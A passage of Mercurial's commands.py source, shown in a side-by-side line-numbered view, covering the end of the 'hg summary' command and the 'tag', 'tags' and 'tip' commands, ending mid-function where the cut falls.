7069 m = _(b'branch: %s\n') % branch
7070 if branch != b'default':
7070 if branch != b'default':
7071 ui.write(m, label=b'log.branch')
7071 ui.write(m, label=b'log.branch')
7072 else:
7072 else:
7073 ui.status(m, label=b'log.branch')
7073 ui.status(m, label=b'log.branch')
7074
7074
7075 if marks:
7075 if marks:
7076 active = repo._activebookmark
7076 active = repo._activebookmark
7077 # i18n: column positioning for "hg summary"
7077 # i18n: column positioning for "hg summary"
7078 ui.write(_(b'bookmarks:'), label=b'log.bookmark')
7078 ui.write(_(b'bookmarks:'), label=b'log.bookmark')
7079 if active is not None:
7079 if active is not None:
7080 if active in marks:
7080 if active in marks:
7081 ui.write(b' *' + active, label=bookmarks.activebookmarklabel)
7081 ui.write(b' *' + active, label=bookmarks.activebookmarklabel)
7082 marks.remove(active)
7082 marks.remove(active)
7083 else:
7083 else:
7084 ui.write(b' [%s]' % active, label=bookmarks.activebookmarklabel)
7084 ui.write(b' [%s]' % active, label=bookmarks.activebookmarklabel)
7085 for m in marks:
7085 for m in marks:
7086 ui.write(b' ' + m, label=b'log.bookmark')
7086 ui.write(b' ' + m, label=b'log.bookmark')
7087 ui.write(b'\n', label=b'log.bookmark')
7087 ui.write(b'\n', label=b'log.bookmark')
7088
7088
7089 status = repo.status(unknown=True)
7089 status = repo.status(unknown=True)
7090
7090
7091 c = repo.dirstate.copies()
7091 c = repo.dirstate.copies()
7092 copied, renamed = [], []
7092 copied, renamed = [], []
7093 for d, s in pycompat.iteritems(c):
7093 for d, s in pycompat.iteritems(c):
7094 if s in status.removed:
7094 if s in status.removed:
7095 status.removed.remove(s)
7095 status.removed.remove(s)
7096 renamed.append(d)
7096 renamed.append(d)
7097 else:
7097 else:
7098 copied.append(d)
7098 copied.append(d)
7099 if d in status.added:
7099 if d in status.added:
7100 status.added.remove(d)
7100 status.added.remove(d)
7101
7101
7102 subs = [s for s in ctx.substate if ctx.sub(s).dirty()]
7102 subs = [s for s in ctx.substate if ctx.sub(s).dirty()]
7103
7103
7104 labels = [
7104 labels = [
7105 (ui.label(_(b'%d modified'), b'status.modified'), status.modified),
7105 (ui.label(_(b'%d modified'), b'status.modified'), status.modified),
7106 (ui.label(_(b'%d added'), b'status.added'), status.added),
7106 (ui.label(_(b'%d added'), b'status.added'), status.added),
7107 (ui.label(_(b'%d removed'), b'status.removed'), status.removed),
7107 (ui.label(_(b'%d removed'), b'status.removed'), status.removed),
7108 (ui.label(_(b'%d renamed'), b'status.copied'), renamed),
7108 (ui.label(_(b'%d renamed'), b'status.copied'), renamed),
7109 (ui.label(_(b'%d copied'), b'status.copied'), copied),
7109 (ui.label(_(b'%d copied'), b'status.copied'), copied),
7110 (ui.label(_(b'%d deleted'), b'status.deleted'), status.deleted),
7110 (ui.label(_(b'%d deleted'), b'status.deleted'), status.deleted),
7111 (ui.label(_(b'%d unknown'), b'status.unknown'), status.unknown),
7111 (ui.label(_(b'%d unknown'), b'status.unknown'), status.unknown),
7112 (ui.label(_(b'%d unresolved'), b'resolve.unresolved'), unresolved),
7112 (ui.label(_(b'%d unresolved'), b'resolve.unresolved'), unresolved),
7113 (ui.label(_(b'%d subrepos'), b'status.modified'), subs),
7113 (ui.label(_(b'%d subrepos'), b'status.modified'), subs),
7114 ]
7114 ]
7115 t = []
7115 t = []
7116 for l, s in labels:
7116 for l, s in labels:
7117 if s:
7117 if s:
7118 t.append(l % len(s))
7118 t.append(l % len(s))
7119
7119
7120 t = b', '.join(t)
7120 t = b', '.join(t)
7121 cleanworkdir = False
7121 cleanworkdir = False
7122
7122
7123 if repo.vfs.exists(b'graftstate'):
7123 if repo.vfs.exists(b'graftstate'):
7124 t += _(b' (graft in progress)')
7124 t += _(b' (graft in progress)')
7125 if repo.vfs.exists(b'updatestate'):
7125 if repo.vfs.exists(b'updatestate'):
7126 t += _(b' (interrupted update)')
7126 t += _(b' (interrupted update)')
7127 elif len(parents) > 1:
7127 elif len(parents) > 1:
7128 t += _(b' (merge)')
7128 t += _(b' (merge)')
7129 elif branch != parents[0].branch():
7129 elif branch != parents[0].branch():
7130 t += _(b' (new branch)')
7130 t += _(b' (new branch)')
7131 elif parents[0].closesbranch() and pnode in repo.branchheads(
7131 elif parents[0].closesbranch() and pnode in repo.branchheads(
7132 branch, closed=True
7132 branch, closed=True
7133 ):
7133 ):
7134 t += _(b' (head closed)')
7134 t += _(b' (head closed)')
7135 elif not (
7135 elif not (
7136 status.modified
7136 status.modified
7137 or status.added
7137 or status.added
7138 or status.removed
7138 or status.removed
7139 or renamed
7139 or renamed
7140 or copied
7140 or copied
7141 or subs
7141 or subs
7142 ):
7142 ):
7143 t += _(b' (clean)')
7143 t += _(b' (clean)')
7144 cleanworkdir = True
7144 cleanworkdir = True
7145 elif pnode not in bheads:
7145 elif pnode not in bheads:
7146 t += _(b' (new branch head)')
7146 t += _(b' (new branch head)')
7147
7147
7148 if parents:
7148 if parents:
7149 pendingphase = max(p.phase() for p in parents)
7149 pendingphase = max(p.phase() for p in parents)
7150 else:
7150 else:
7151 pendingphase = phases.public
7151 pendingphase = phases.public
7152
7152
7153 if pendingphase > phases.newcommitphase(ui):
7153 if pendingphase > phases.newcommitphase(ui):
7154 t += b' (%s)' % phases.phasenames[pendingphase]
7154 t += b' (%s)' % phases.phasenames[pendingphase]
7155
7155
7156 if cleanworkdir:
7156 if cleanworkdir:
7157 # i18n: column positioning for "hg summary"
7157 # i18n: column positioning for "hg summary"
7158 ui.status(_(b'commit: %s\n') % t.strip())
7158 ui.status(_(b'commit: %s\n') % t.strip())
7159 else:
7159 else:
7160 # i18n: column positioning for "hg summary"
7160 # i18n: column positioning for "hg summary"
7161 ui.write(_(b'commit: %s\n') % t.strip())
7161 ui.write(_(b'commit: %s\n') % t.strip())
7162
7162
7163 # all ancestors of branch heads - all ancestors of parent = new csets
7163 # all ancestors of branch heads - all ancestors of parent = new csets
7164 new = len(
7164 new = len(
7165 repo.changelog.findmissing([pctx.node() for pctx in parents], bheads)
7165 repo.changelog.findmissing([pctx.node() for pctx in parents], bheads)
7166 )
7166 )
7167
7167
7168 if new == 0:
7168 if new == 0:
7169 # i18n: column positioning for "hg summary"
7169 # i18n: column positioning for "hg summary"
7170 ui.status(_(b'update: (current)\n'))
7170 ui.status(_(b'update: (current)\n'))
7171 elif pnode not in bheads:
7171 elif pnode not in bheads:
7172 # i18n: column positioning for "hg summary"
7172 # i18n: column positioning for "hg summary"
7173 ui.write(_(b'update: %d new changesets (update)\n') % new)
7173 ui.write(_(b'update: %d new changesets (update)\n') % new)
7174 else:
7174 else:
7175 # i18n: column positioning for "hg summary"
7175 # i18n: column positioning for "hg summary"
7176 ui.write(
7176 ui.write(
7177 _(b'update: %d new changesets, %d branch heads (merge)\n')
7177 _(b'update: %d new changesets, %d branch heads (merge)\n')
7178 % (new, len(bheads))
7178 % (new, len(bheads))
7179 )
7179 )
7180
7180
7181 t = []
7181 t = []
7182 draft = len(repo.revs(b'draft()'))
7182 draft = len(repo.revs(b'draft()'))
7183 if draft:
7183 if draft:
7184 t.append(_(b'%d draft') % draft)
7184 t.append(_(b'%d draft') % draft)
7185 secret = len(repo.revs(b'secret()'))
7185 secret = len(repo.revs(b'secret()'))
7186 if secret:
7186 if secret:
7187 t.append(_(b'%d secret') % secret)
7187 t.append(_(b'%d secret') % secret)
7188
7188
7189 if draft or secret:
7189 if draft or secret:
7190 ui.status(_(b'phases: %s\n') % b', '.join(t))
7190 ui.status(_(b'phases: %s\n') % b', '.join(t))
7191
7191
7192 if obsolete.isenabled(repo, obsolete.createmarkersopt):
7192 if obsolete.isenabled(repo, obsolete.createmarkersopt):
7193 for trouble in (b"orphan", b"contentdivergent", b"phasedivergent"):
7193 for trouble in (b"orphan", b"contentdivergent", b"phasedivergent"):
7194 numtrouble = len(repo.revs(trouble + b"()"))
7194 numtrouble = len(repo.revs(trouble + b"()"))
7195 # We write all the possibilities to ease translation
7195 # We write all the possibilities to ease translation
7196 troublemsg = {
7196 troublemsg = {
7197 b"orphan": _(b"orphan: %d changesets"),
7197 b"orphan": _(b"orphan: %d changesets"),
7198 b"contentdivergent": _(b"content-divergent: %d changesets"),
7198 b"contentdivergent": _(b"content-divergent: %d changesets"),
7199 b"phasedivergent": _(b"phase-divergent: %d changesets"),
7199 b"phasedivergent": _(b"phase-divergent: %d changesets"),
7200 }
7200 }
7201 if numtrouble > 0:
7201 if numtrouble > 0:
7202 ui.status(troublemsg[trouble] % numtrouble + b"\n")
7202 ui.status(troublemsg[trouble] % numtrouble + b"\n")
7203
7203
7204 cmdutil.summaryhooks(ui, repo)
7204 cmdutil.summaryhooks(ui, repo)
7205
7205
7206 if opts.get(b'remote'):
7206 if opts.get(b'remote'):
7207 needsincoming, needsoutgoing = True, True
7207 needsincoming, needsoutgoing = True, True
7208 else:
7208 else:
7209 needsincoming, needsoutgoing = False, False
7209 needsincoming, needsoutgoing = False, False
7210 for i, o in cmdutil.summaryremotehooks(ui, repo, opts, None):
7210 for i, o in cmdutil.summaryremotehooks(ui, repo, opts, None):
7211 if i:
7211 if i:
7212 needsincoming = True
7212 needsincoming = True
7213 if o:
7213 if o:
7214 needsoutgoing = True
7214 needsoutgoing = True
7215 if not needsincoming and not needsoutgoing:
7215 if not needsincoming and not needsoutgoing:
7216 return
7216 return
7217
7217
7218 def getincoming():
7218 def getincoming():
7219 # XXX We should actually skip this if no default is specified, instead
7219 # XXX We should actually skip this if no default is specified, instead
7220 # of passing "default" which will resolve as "./default/" if no default
7220 # of passing "default" which will resolve as "./default/" if no default
7221 # path is defined.
7221 # path is defined.
7222 source, branches = urlutil.get_unique_pull_path(
7222 source, branches = urlutil.get_unique_pull_path(
7223 b'summary', repo, ui, b'default'
7223 b'summary', repo, ui, b'default'
7224 )
7224 )
7225 sbranch = branches[0]
7225 sbranch = branches[0]
7226 try:
7226 try:
7227 other = hg.peer(repo, {}, source)
7227 other = hg.peer(repo, {}, source)
7228 except error.RepoError:
7228 except error.RepoError:
7229 if opts.get(b'remote'):
7229 if opts.get(b'remote'):
7230 raise
7230 raise
7231 return source, sbranch, None, None, None
7231 return source, sbranch, None, None, None
7232 revs, checkout = hg.addbranchrevs(repo, other, branches, None)
7232 revs, checkout = hg.addbranchrevs(repo, other, branches, None)
7233 if revs:
7233 if revs:
7234 revs = [other.lookup(rev) for rev in revs]
7234 revs = [other.lookup(rev) for rev in revs]
7235 ui.debug(b'comparing with %s\n' % urlutil.hidepassword(source))
7235 ui.debug(b'comparing with %s\n' % urlutil.hidepassword(source))
7236 with repo.ui.silent():
7236 with repo.ui.silent():
7237 commoninc = discovery.findcommonincoming(repo, other, heads=revs)
7237 commoninc = discovery.findcommonincoming(repo, other, heads=revs)
7238 return source, sbranch, other, commoninc, commoninc[1]
7238 return source, sbranch, other, commoninc, commoninc[1]
7239
7239
7240 if needsincoming:
7240 if needsincoming:
7241 source, sbranch, sother, commoninc, incoming = getincoming()
7241 source, sbranch, sother, commoninc, incoming = getincoming()
7242 else:
7242 else:
7243 source = sbranch = sother = commoninc = incoming = None
7243 source = sbranch = sother = commoninc = incoming = None
7244
7244
7245 def getoutgoing():
7245 def getoutgoing():
7246 # XXX We should actually skip this if no default is specified, instead
7246 # XXX We should actually skip this if no default is specified, instead
7247 # of passing "default" which will resolve as "./default/" if no default
7247 # of passing "default" which will resolve as "./default/" if no default
7248 # path is defined.
7248 # path is defined.
7249 d = None
7249 d = None
7250 if b'default-push' in ui.paths:
7250 if b'default-push' in ui.paths:
7251 d = b'default-push'
7251 d = b'default-push'
7252 elif b'default' in ui.paths:
7252 elif b'default' in ui.paths:
7253 d = b'default'
7253 d = b'default'
7254 if d is not None:
7254 if d is not None:
7255 path = urlutil.get_unique_push_path(b'summary', repo, ui, d)
7255 path = urlutil.get_unique_push_path(b'summary', repo, ui, d)
7256 dest = path.pushloc or path.loc
7256 dest = path.pushloc or path.loc
7257 dbranch = path.branch
7257 dbranch = path.branch
7258 else:
7258 else:
7259 dest = b'default'
7259 dest = b'default'
7260 dbranch = None
7260 dbranch = None
7261 revs, checkout = hg.addbranchrevs(repo, repo, (dbranch, []), None)
7261 revs, checkout = hg.addbranchrevs(repo, repo, (dbranch, []), None)
7262 if source != dest:
7262 if source != dest:
7263 try:
7263 try:
7264 dother = hg.peer(repo, {}, dest)
7264 dother = hg.peer(repo, {}, dest)
7265 except error.RepoError:
7265 except error.RepoError:
7266 if opts.get(b'remote'):
7266 if opts.get(b'remote'):
7267 raise
7267 raise
7268 return dest, dbranch, None, None
7268 return dest, dbranch, None, None
7269 ui.debug(b'comparing with %s\n' % urlutil.hidepassword(dest))
7269 ui.debug(b'comparing with %s\n' % urlutil.hidepassword(dest))
7270 elif sother is None:
7270 elif sother is None:
7271 # there is no explicit destination peer, but source one is invalid
7271 # there is no explicit destination peer, but source one is invalid
7272 return dest, dbranch, None, None
7272 return dest, dbranch, None, None
7273 else:
7273 else:
7274 dother = sother
7274 dother = sother
7275 if source != dest or (sbranch is not None and sbranch != dbranch):
7275 if source != dest or (sbranch is not None and sbranch != dbranch):
7276 common = None
7276 common = None
7277 else:
7277 else:
7278 common = commoninc
7278 common = commoninc
7279 if revs:
7279 if revs:
7280 revs = [repo.lookup(rev) for rev in revs]
7280 revs = [repo.lookup(rev) for rev in revs]
7281 with repo.ui.silent():
7281 with repo.ui.silent():
7282 outgoing = discovery.findcommonoutgoing(
7282 outgoing = discovery.findcommonoutgoing(
7283 repo, dother, onlyheads=revs, commoninc=common
7283 repo, dother, onlyheads=revs, commoninc=common
7284 )
7284 )
7285 return dest, dbranch, dother, outgoing
7285 return dest, dbranch, dother, outgoing
7286
7286
7287 if needsoutgoing:
7287 if needsoutgoing:
7288 dest, dbranch, dother, outgoing = getoutgoing()
7288 dest, dbranch, dother, outgoing = getoutgoing()
7289 else:
7289 else:
7290 dest = dbranch = dother = outgoing = None
7290 dest = dbranch = dother = outgoing = None
7291
7291
7292 if opts.get(b'remote'):
7292 if opts.get(b'remote'):
7293 # Help pytype. --remote sets both `needsincoming` and `needsoutgoing`.
7293 # Help pytype. --remote sets both `needsincoming` and `needsoutgoing`.
7294 # The former always sets `sother` (or raises an exception if it can't);
7294 # The former always sets `sother` (or raises an exception if it can't);
7295 # the latter always sets `outgoing`.
7295 # the latter always sets `outgoing`.
7296 assert sother is not None
7296 assert sother is not None
7297 assert outgoing is not None
7297 assert outgoing is not None
7298
7298
7299 t = []
7299 t = []
7300 if incoming:
7300 if incoming:
7301 t.append(_(b'1 or more incoming'))
7301 t.append(_(b'1 or more incoming'))
7302 o = outgoing.missing
7302 o = outgoing.missing
7303 if o:
7303 if o:
7304 t.append(_(b'%d outgoing') % len(o))
7304 t.append(_(b'%d outgoing') % len(o))
7305 other = dother or sother
7305 other = dother or sother
7306 if b'bookmarks' in other.listkeys(b'namespaces'):
7306 if b'bookmarks' in other.listkeys(b'namespaces'):
7307 counts = bookmarks.summary(repo, other)
7307 counts = bookmarks.summary(repo, other)
7308 if counts[0] > 0:
7308 if counts[0] > 0:
7309 t.append(_(b'%d incoming bookmarks') % counts[0])
7309 t.append(_(b'%d incoming bookmarks') % counts[0])
7310 if counts[1] > 0:
7310 if counts[1] > 0:
7311 t.append(_(b'%d outgoing bookmarks') % counts[1])
7311 t.append(_(b'%d outgoing bookmarks') % counts[1])
7312
7312
7313 if t:
7313 if t:
7314 # i18n: column positioning for "hg summary"
7314 # i18n: column positioning for "hg summary"
7315 ui.write(_(b'remote: %s\n') % (b', '.join(t)))
7315 ui.write(_(b'remote: %s\n') % (b', '.join(t)))
7316 else:
7316 else:
7317 # i18n: column positioning for "hg summary"
7317 # i18n: column positioning for "hg summary"
7318 ui.status(_(b'remote: (synced)\n'))
7318 ui.status(_(b'remote: (synced)\n'))
7319
7319
7320 cmdutil.summaryremotehooks(
7320 cmdutil.summaryremotehooks(
7321 ui,
7321 ui,
7322 repo,
7322 repo,
7323 opts,
7323 opts,
7324 (
7324 (
7325 (source, sbranch, sother, commoninc),
7325 (source, sbranch, sother, commoninc),
7326 (dest, dbranch, dother, outgoing),
7326 (dest, dbranch, dother, outgoing),
7327 ),
7327 ),
7328 )
7328 )
7329
7329
7330
7330
7331 @command(
7331 @command(
7332 b'tag',
7332 b'tag',
7333 [
7333 [
7334 (b'f', b'force', None, _(b'force tag')),
7334 (b'f', b'force', None, _(b'force tag')),
7335 (b'l', b'local', None, _(b'make the tag local')),
7335 (b'l', b'local', None, _(b'make the tag local')),
7336 (b'r', b'rev', b'', _(b'revision to tag'), _(b'REV')),
7336 (b'r', b'rev', b'', _(b'revision to tag'), _(b'REV')),
7337 (b'', b'remove', None, _(b'remove a tag')),
7337 (b'', b'remove', None, _(b'remove a tag')),
7338 # -l/--local is already there, commitopts cannot be used
7338 # -l/--local is already there, commitopts cannot be used
7339 (b'e', b'edit', None, _(b'invoke editor on commit messages')),
7339 (b'e', b'edit', None, _(b'invoke editor on commit messages')),
7340 (b'm', b'message', b'', _(b'use text as commit message'), _(b'TEXT')),
7340 (b'm', b'message', b'', _(b'use text as commit message'), _(b'TEXT')),
7341 ]
7341 ]
7342 + commitopts2,
7342 + commitopts2,
7343 _(b'[-f] [-l] [-m TEXT] [-d DATE] [-u USER] [-r REV] NAME...'),
7343 _(b'[-f] [-l] [-m TEXT] [-d DATE] [-u USER] [-r REV] NAME...'),
7344 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
7344 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
7345 )
7345 )
7346 def tag(ui, repo, name1, *names, **opts):
7346 def tag(ui, repo, name1, *names, **opts):
7347 """add one or more tags for the current or given revision
7347 """add one or more tags for the current or given revision
7348
7348
7349 Name a particular revision using <name>.
7349 Name a particular revision using <name>.
7350
7350
7351 Tags are used to name particular revisions of the repository and are
7351 Tags are used to name particular revisions of the repository and are
7352 very useful to compare different revisions, to go back to significant
7352 very useful to compare different revisions, to go back to significant
7353 earlier versions or to mark branch points as releases, etc. Changing
7353 earlier versions or to mark branch points as releases, etc. Changing
7354 an existing tag is normally disallowed; use -f/--force to override.
7354 an existing tag is normally disallowed; use -f/--force to override.
7355
7355
7356 If no revision is given, the parent of the working directory is
7356 If no revision is given, the parent of the working directory is
7357 used.
7357 used.
7358
7358
7359 To facilitate version control, distribution, and merging of tags,
7359 To facilitate version control, distribution, and merging of tags,
7360 they are stored as a file named ".hgtags" which is managed similarly
7360 they are stored as a file named ".hgtags" which is managed similarly
7361 to other project files and can be hand-edited if necessary. This
7361 to other project files and can be hand-edited if necessary. This
7362 also means that tagging creates a new commit. The file
7362 also means that tagging creates a new commit. The file
7363 ".hg/localtags" is used for local tags (not shared among
7363 ".hg/localtags" is used for local tags (not shared among
7364 repositories).
7364 repositories).
7365
7365
7366 Tag commits are usually made at the head of a branch. If the parent
7366 Tag commits are usually made at the head of a branch. If the parent
7367 of the working directory is not a branch head, :hg:`tag` aborts; use
7367 of the working directory is not a branch head, :hg:`tag` aborts; use
7368 -f/--force to force the tag commit to be based on a non-head
7368 -f/--force to force the tag commit to be based on a non-head
7369 changeset.
7369 changeset.
7370
7370
7371 See :hg:`help dates` for a list of formats valid for -d/--date.
7371 See :hg:`help dates` for a list of formats valid for -d/--date.
7372
7372
7373 Since tag names have priority over branch names during revision
7373 Since tag names have priority over branch names during revision
7374 lookup, using an existing branch name as a tag name is discouraged.
7374 lookup, using an existing branch name as a tag name is discouraged.
7375
7375
7376 Returns 0 on success.
7376 Returns 0 on success.
7377 """
7377 """
7378 cmdutil.check_incompatible_arguments(opts, 'remove', ['rev'])
7378 cmdutil.check_incompatible_arguments(opts, 'remove', ['rev'])
7379 opts = pycompat.byteskwargs(opts)
7379 opts = pycompat.byteskwargs(opts)
7380 with repo.wlock(), repo.lock():
7380 with repo.wlock(), repo.lock():
7381 rev_ = b"."
7381 rev_ = b"."
7382 names = [t.strip() for t in (name1,) + names]
7382 names = [t.strip() for t in (name1,) + names]
7383 if len(names) != len(set(names)):
7383 if len(names) != len(set(names)):
7384 raise error.InputError(_(b'tag names must be unique'))
7384 raise error.InputError(_(b'tag names must be unique'))
7385 for n in names:
7385 for n in names:
7386 scmutil.checknewlabel(repo, n, b'tag')
7386 scmutil.checknewlabel(repo, n, b'tag')
7387 if not n:
7387 if not n:
7388 raise error.InputError(
7388 raise error.InputError(
7389 _(b'tag names cannot consist entirely of whitespace')
7389 _(b'tag names cannot consist entirely of whitespace')
7390 )
7390 )
7391 if opts.get(b'rev'):
7391 if opts.get(b'rev'):
7392 rev_ = opts[b'rev']
7392 rev_ = opts[b'rev']
7393 message = opts.get(b'message')
7393 message = opts.get(b'message')
7394 if opts.get(b'remove'):
7394 if opts.get(b'remove'):
7395 if opts.get(b'local'):
7395 if opts.get(b'local'):
7396 expectedtype = b'local'
7396 expectedtype = b'local'
7397 else:
7397 else:
7398 expectedtype = b'global'
7398 expectedtype = b'global'
7399
7399
7400 for n in names:
7400 for n in names:
7401 if repo.tagtype(n) == b'global':
7401 if repo.tagtype(n) == b'global':
7402 alltags = tagsmod.findglobaltags(ui, repo)
7402 alltags = tagsmod.findglobaltags(ui, repo)
7403 if alltags[n][0] == repo.nullid:
7403 if alltags[n][0] == repo.nullid:
7404 raise error.InputError(
7404 raise error.InputError(
7405 _(b"tag '%s' is already removed") % n
7405 _(b"tag '%s' is already removed") % n
7406 )
7406 )
7407 if not repo.tagtype(n):
7407 if not repo.tagtype(n):
7408 raise error.InputError(_(b"tag '%s' does not exist") % n)
7408 raise error.InputError(_(b"tag '%s' does not exist") % n)
7409 if repo.tagtype(n) != expectedtype:
7409 if repo.tagtype(n) != expectedtype:
7410 if expectedtype == b'global':
7410 if expectedtype == b'global':
7411 raise error.InputError(
7411 raise error.InputError(
7412 _(b"tag '%s' is not a global tag") % n
7412 _(b"tag '%s' is not a global tag") % n
7413 )
7413 )
7414 else:
7414 else:
7415 raise error.InputError(
7415 raise error.InputError(
7416 _(b"tag '%s' is not a local tag") % n
7416 _(b"tag '%s' is not a local tag") % n
7417 )
7417 )
7418 rev_ = b'null'
7418 rev_ = b'null'
7419 if not message:
7419 if not message:
7420 # we don't translate commit messages
7420 # we don't translate commit messages
7421 message = b'Removed tag %s' % b', '.join(names)
7421 message = b'Removed tag %s' % b', '.join(names)
7422 elif not opts.get(b'force'):
7422 elif not opts.get(b'force'):
7423 for n in names:
7423 for n in names:
7424 if n in repo.tags():
7424 if n in repo.tags():
7425 raise error.InputError(
7425 raise error.InputError(
7426 _(b"tag '%s' already exists (use -f to force)") % n
7426 _(b"tag '%s' already exists (use -f to force)") % n
7427 )
7427 )
7428 if not opts.get(b'local'):
7428 if not opts.get(b'local'):
7429 p1, p2 = repo.dirstate.parents()
7429 p1, p2 = repo.dirstate.parents()
7430 if p2 != repo.nullid:
7430 if p2 != repo.nullid:
7431 raise error.StateError(_(b'uncommitted merge'))
7431 raise error.StateError(_(b'uncommitted merge'))
7432 bheads = repo.branchheads()
7432 bheads = repo.branchheads()
7433 if not opts.get(b'force') and bheads and p1 not in bheads:
7433 if not opts.get(b'force') and bheads and p1 not in bheads:
7434 raise error.InputError(
7434 raise error.InputError(
7435 _(
7435 _(
7436 b'working directory is not at a branch head '
7436 b'working directory is not at a branch head '
7437 b'(use -f to force)'
7437 b'(use -f to force)'
7438 )
7438 )
7439 )
7439 )
7440 node = logcmdutil.revsingle(repo, rev_).node()
7440 node = logcmdutil.revsingle(repo, rev_).node()
7441
7441
7442 if not message:
7442 if not message:
7443 # we don't translate commit messages
7443 # we don't translate commit messages
7444 message = b'Added tag %s for changeset %s' % (
7444 message = b'Added tag %s for changeset %s' % (
7445 b', '.join(names),
7445 b', '.join(names),
7446 short(node),
7446 short(node),
7447 )
7447 )
7448
7448
7449 date = opts.get(b'date')
7449 date = opts.get(b'date')
7450 if date:
7450 if date:
7451 date = dateutil.parsedate(date)
7451 date = dateutil.parsedate(date)
7452
7452
7453 if opts.get(b'remove'):
7453 if opts.get(b'remove'):
7454 editform = b'tag.remove'
7454 editform = b'tag.remove'
7455 else:
7455 else:
7456 editform = b'tag.add'
7456 editform = b'tag.add'
7457 editor = cmdutil.getcommiteditor(
7457 editor = cmdutil.getcommiteditor(
7458 editform=editform, **pycompat.strkwargs(opts)
7458 editform=editform, **pycompat.strkwargs(opts)
7459 )
7459 )
7460
7460
7461 # don't allow tagging the null rev
7461 # don't allow tagging the null rev
7462 if (
7462 if (
7463 not opts.get(b'remove')
7463 not opts.get(b'remove')
7464 and logcmdutil.revsingle(repo, rev_).rev() == nullrev
7464 and logcmdutil.revsingle(repo, rev_).rev() == nullrev
7465 ):
7465 ):
7466 raise error.InputError(_(b"cannot tag null revision"))
7466 raise error.InputError(_(b"cannot tag null revision"))
7467
7467
7468 tagsmod.tag(
7468 tagsmod.tag(
7469 repo,
7469 repo,
7470 names,
7470 names,
7471 node,
7471 node,
7472 message,
7472 message,
7473 opts.get(b'local'),
7473 opts.get(b'local'),
7474 opts.get(b'user'),
7474 opts.get(b'user'),
7475 date,
7475 date,
7476 editor=editor,
7476 editor=editor,
7477 )
7477 )
7478
7478
7479
7479
7480 @command(
7480 @command(
7481 b'tags',
7481 b'tags',
7482 formatteropts,
7482 formatteropts,
7483 b'',
7483 b'',
7484 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
7484 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
7485 intents={INTENT_READONLY},
7485 intents={INTENT_READONLY},
7486 )
7486 )
7487 def tags(ui, repo, **opts):
7487 def tags(ui, repo, **opts):
7488 """list repository tags
7488 """list repository tags
7489
7489
7490 This lists both regular and local tags. When the -v/--verbose
7490 This lists both regular and local tags. When the -v/--verbose
7491 switch is used, a third column "local" is printed for local tags.
7491 switch is used, a third column "local" is printed for local tags.
7492 When the -q/--quiet switch is used, only the tag name is printed.
7492 When the -q/--quiet switch is used, only the tag name is printed.
7493
7493
7494 .. container:: verbose
7494 .. container:: verbose
7495
7495
7496 Template:
7496 Template:
7497
7497
7498 The following keywords are supported in addition to the common template
7498 The following keywords are supported in addition to the common template
7499 keywords and functions such as ``{tag}``. See also
7499 keywords and functions such as ``{tag}``. See also
7500 :hg:`help templates`.
7500 :hg:`help templates`.
7501
7501
7502 :type: String. ``local`` for local tags.
7502 :type: String. ``local`` for local tags.
7503
7503
7504 Returns 0 on success.
7504 Returns 0 on success.
7505 """
7505 """
7506
7506
7507 opts = pycompat.byteskwargs(opts)
7507 opts = pycompat.byteskwargs(opts)
7508 ui.pager(b'tags')
7508 ui.pager(b'tags')
7509 fm = ui.formatter(b'tags', opts)
7509 fm = ui.formatter(b'tags', opts)
7510 hexfunc = fm.hexfunc
7510 hexfunc = fm.hexfunc
7511
7511
7512 for t, n in reversed(repo.tagslist()):
7512 for t, n in reversed(repo.tagslist()):
7513 hn = hexfunc(n)
7513 hn = hexfunc(n)
7514 label = b'tags.normal'
7514 label = b'tags.normal'
7515 tagtype = repo.tagtype(t)
7515 tagtype = repo.tagtype(t)
7516 if not tagtype or tagtype == b'global':
7516 if not tagtype or tagtype == b'global':
7517 tagtype = b''
7517 tagtype = b''
7518 else:
7518 else:
7519 label = b'tags.' + tagtype
7519 label = b'tags.' + tagtype
7520
7520
7521 fm.startitem()
7521 fm.startitem()
7522 fm.context(repo=repo)
7522 fm.context(repo=repo)
7523 fm.write(b'tag', b'%s', t, label=label)
7523 fm.write(b'tag', b'%s', t, label=label)
7524 fmt = b" " * (30 - encoding.colwidth(t)) + b' %5d:%s'
7524 fmt = b" " * (30 - encoding.colwidth(t)) + b' %5d:%s'
7525 fm.condwrite(
7525 fm.condwrite(
7526 not ui.quiet,
7526 not ui.quiet,
7527 b'rev node',
7527 b'rev node',
7528 fmt,
7528 fmt,
7529 repo.changelog.rev(n),
7529 repo.changelog.rev(n),
7530 hn,
7530 hn,
7531 label=label,
7531 label=label,
7532 )
7532 )
7533 fm.condwrite(
7533 fm.condwrite(
7534 ui.verbose and tagtype, b'type', b' %s', tagtype, label=label
7534 ui.verbose and tagtype, b'type', b' %s', tagtype, label=label
7535 )
7535 )
7536 fm.plain(b'\n')
7536 fm.plain(b'\n')
7537 fm.end()
7537 fm.end()
7538
7538
7539
7539
7540 @command(
7540 @command(
7541 b'tip',
7541 b'tip',
7542 [
7542 [
7543 (b'p', b'patch', None, _(b'show patch')),
7543 (b'p', b'patch', None, _(b'show patch')),
7544 (b'g', b'git', None, _(b'use git extended diff format')),
7544 (b'g', b'git', None, _(b'use git extended diff format')),
7545 ]
7545 ]
7546 + templateopts,
7546 + templateopts,
7547 _(b'[-p] [-g]'),
7547 _(b'[-p] [-g]'),
7548 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
7548 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
7549 )
7549 )
7550 def tip(ui, repo, **opts):
7550 def tip(ui, repo, **opts):
7551 """show the tip revision (DEPRECATED)
7551 """show the tip revision (DEPRECATED)
7552
7552
7553 The tip revision (usually just called the tip) is the changeset
7553 The tip revision (usually just called the tip) is the changeset
7554 most recently added to the repository (and therefore the most
7554 most recently added to the repository (and therefore the most
7555 recently changed head).
7555 recently changed head).
7556
7556
7557 If you have just made a commit, that commit will be the tip. If
7557 If you have just made a commit, that commit will be the tip. If
7558 you have just pulled changes from another repository, the tip of
7558 you have just pulled changes from another repository, the tip of
7559 that repository becomes the current tip. The "tip" tag is special
7559 that repository becomes the current tip. The "tip" tag is special
7560 and cannot be renamed or assigned to a different changeset.
7560 and cannot be renamed or assigned to a different changeset.
7561
7561
7562 This command is deprecated, please use :hg:`heads` instead.
7562 This command is deprecated, please use :hg:`heads` instead.
7563
7563
7564 Returns 0 on success.
7564 Returns 0 on success.
7565 """
7565 """
7566 opts = pycompat.byteskwargs(opts)
